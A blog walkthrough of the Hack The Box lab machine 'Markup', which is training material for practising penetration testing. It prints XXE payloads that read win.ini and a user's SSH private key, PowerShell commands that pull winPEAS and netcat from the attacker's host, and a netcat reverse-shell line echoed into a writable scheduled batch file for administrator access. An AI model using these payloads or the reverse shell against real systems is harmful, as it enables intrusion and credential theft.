Hack The Box - Markup

Hello world, welcome to haxez where today I will be looking at the Hack The Box Machine Markup. This is a great box which took me longer than it should have due to my own mistakes. Oh well, it was great fun and I felt silly after I realised what I was doing wrong.

Markup Enumeration

So first we ping.

└──╼ [★]$ sudo ping 10.10.10.49 | tee -a ping.10.10.10.49.txt
[sudo] password for joe: 
PING 10.10.10.49 (10.10.10.49) 56(84) bytes of data.
64 bytes from 10.10.10.49: icmp_seq=1 ttl=127 time=240 ms

“IT IS ALIVVEE” so lets go ahead and nmap this sucker.

└──╼ [★]$ sudo nmap -sC -sV -p0- -T4 10.10.10.49
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
| 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
| http-cookie-flags:

Markup Web Application

I’ve snipped out the parts we don’t need to see. So we have a web server and Secure Shell running. This is a Windows box right? okie dokie lets take a look at the website.

Ok so not a lot going on. I had a quick poke at it with Nikto and dirb but I didn’t find anything that interesting. Lets try the credentials we recovered from the previous box Pathfinder.

Attempting Authenticiation — Markup Website Login

Markup XXE External Entity Injection

Ok great, those seem to have worked. The website has some basic functionality that allows you to place orders. If we capture the request and look at it with Burp we can see that it’s using XML. Furthermore, we can perform an XML injection (XXE External Entity Injection) attack to receive the contents of the win.ini file.

<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///c:/windows/win.ini”> ]> <order> <quantity> 1337 </quantity> <item> &xxe; </item> <address> haktheplanet </address> </order>

Markup Foothold

Ok so we know we can grab files through the XXE attack, whats next? Wasn’t there and SSH port open when we performed the nmap scan? Ok lets find out where Windows stores it’s SSH keys. So by pointing our payload at the .ssh/id_rsa file we should be able to recover the private key.

<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM 'file:///C:/Users/Daniel/.ssh/id_rsa'> ]> <order> <quantity> 1337 </quantity> <item> &xxe; </item> <address> haktheplanet </address> </order>

Persistence

Ok so I grabbed the key and saved it in a file called daniel.key. Make sure to place this in a directory that you own and make sure to change the file permissions to 600. You can do that using chmod 600 file.ext. So next we try to SSH to the server with Daniels key.

Woop, we have access to the box, let’s see if we can grab the user.txt from Daniel’s desktop.

└──╼ [★]$ sudo ssh -i daniel.key [email protected]
Microsoft Windows [Version 10.0.17763.107]
© 2018 Microsoft Corporation. All rights reserved.daniel@MARKUP C:\Users\daniel>whoami
markup\danieldaniel@MARKUP C:\Users\daniel>type C:\Users\Daniel\Desktop\user.txt 
032dXXXXXXXXXXXXXXXXX8ef7

Markup Host Enumeration

We are on the box and have successfully captured the user flag, we need to find a way to escalate our privileges to administrator to capture that all elusive root.txt flag. I downloaded winPEAS and hosted it using the python http module. Once the file was downloaded to the target machine I ran it to see if there were any interesting files.

Daniel@MARKUP C:\Users\daniel\Documents>powershell -Command (New-Object Net.WebClient).DownloadFile(‘http://10.10.14.38/winPEASany.exe', ‘win.exe’)

Ok so after a bit of digging around I found a couple of things that I thought would be useful. The first one was a password, it didn’t seem to work for the administrator though but yoink, will keep that for later.

Interesting Directory

The next thing winPEAS found was an interesting directory and file that all users appeared to have access to.

This isn’t a typical directory or file you find on a Windows system so it was worth investigating. I ran the icacls command on the file to see what permissions were assigned to it.

PS C:\Users\daniel\Documents> icacls C:\Log-Management\job.bat
C:\Log-Management\job.bat BUILTIN\Users:(F)
 NT AUTHORITY\SYSTEM:(I)(F)
 BUILTIN\Administrators:(I)(F)
 BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files

So it looks like built in users have full control over the file, that includes daniel. Ok so lets see what the file is actually doing. Using the type command it was possible to read the contents of the file.

daniel@MARKUP C:\Users\daniel\Documents>type C:\Log-Management\job.bat 
@echo off 
FOR /F “tokens=1,2*” %%V IN (‘bcdedit’) DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F “tokens=*” %%G in (‘wevtutil.exe el’) DO (call :do_clear “%%G”)
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

So the script appears be an automated script to clear the logs but it requires being an admin to run it. So I had a look at a walkthrough at this point and noticed that others had said the script was running as a scheduled task and that whatever command you echo in to the file would be executed the next time it ran. I had a look at the scheduled tasks and couldn’t find it. I ran schtasks and there was nothing in there relating to job.bat. If you know how this was initially found then please let me know.

Markup Privilege Escalation

So with that in mind I set about dropping a copy of netcat on the box using the same method we used to deliver winPEAS.

Invoke-WebRequest http://10.10.14.38/nc64.exe -OutFile nc64.exe

Then once the file was on the box, I echoed a command in to the job.bat file to tell it to execute nc64.exe or nc.exe (whichever you want to use) and connect back to my machine.

So this is where I messed up for the longest time. It was a really really silly mistake too. In order to make my life a bit easier, I upgraded from a Command Prompt session to a PowerShell session. Then whenever I ran the following command:

echo C:\Users\Daniel\nc64.exe -e cmd.exe 10.10.14.38 1234 > C:\Log-Management\job.bat

It would error and tell me that ‘e’ was too ambiguous, who knew the letter e could be so open to interpretation. Well anyway, I spent about an hour enclosing it with quotation marks and all the other stuff you do to try and echo a string in to the file. I even went as far as to encode it with base64. The string was being echoed in to the file but the shell wasn’t coming back to my local machine. To make matters worse, the file was being overwritten every time it ran so I felt like there was a problem with the machine.

Well there wasn’t a problem with the machine, there was a problem with my brain. I dropped down to Command Prompt from PowerShell, ran the command without any quotation marks, the ‘e’ was accepted and within seconds I had a reverse shell with Administrator privileges, and then I captured the root.txt flag.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
f57XXXXXXXXXXXXXXXXX0f8

Notes

So if you get to this point on the machine and you’re pulling your hair out wondering why your exploit wont work. Try changing from PowerShell to CMD when echoing the string to the job.bat and see if that works. Lesson learned. One thing I did find interesting though was that I created a payload using MSFVenom and dropped that on the box. I echoed the location in to the script but still didn’t get a shell when it executed. I ran type on the file to confirm that the text had been added. Very odd.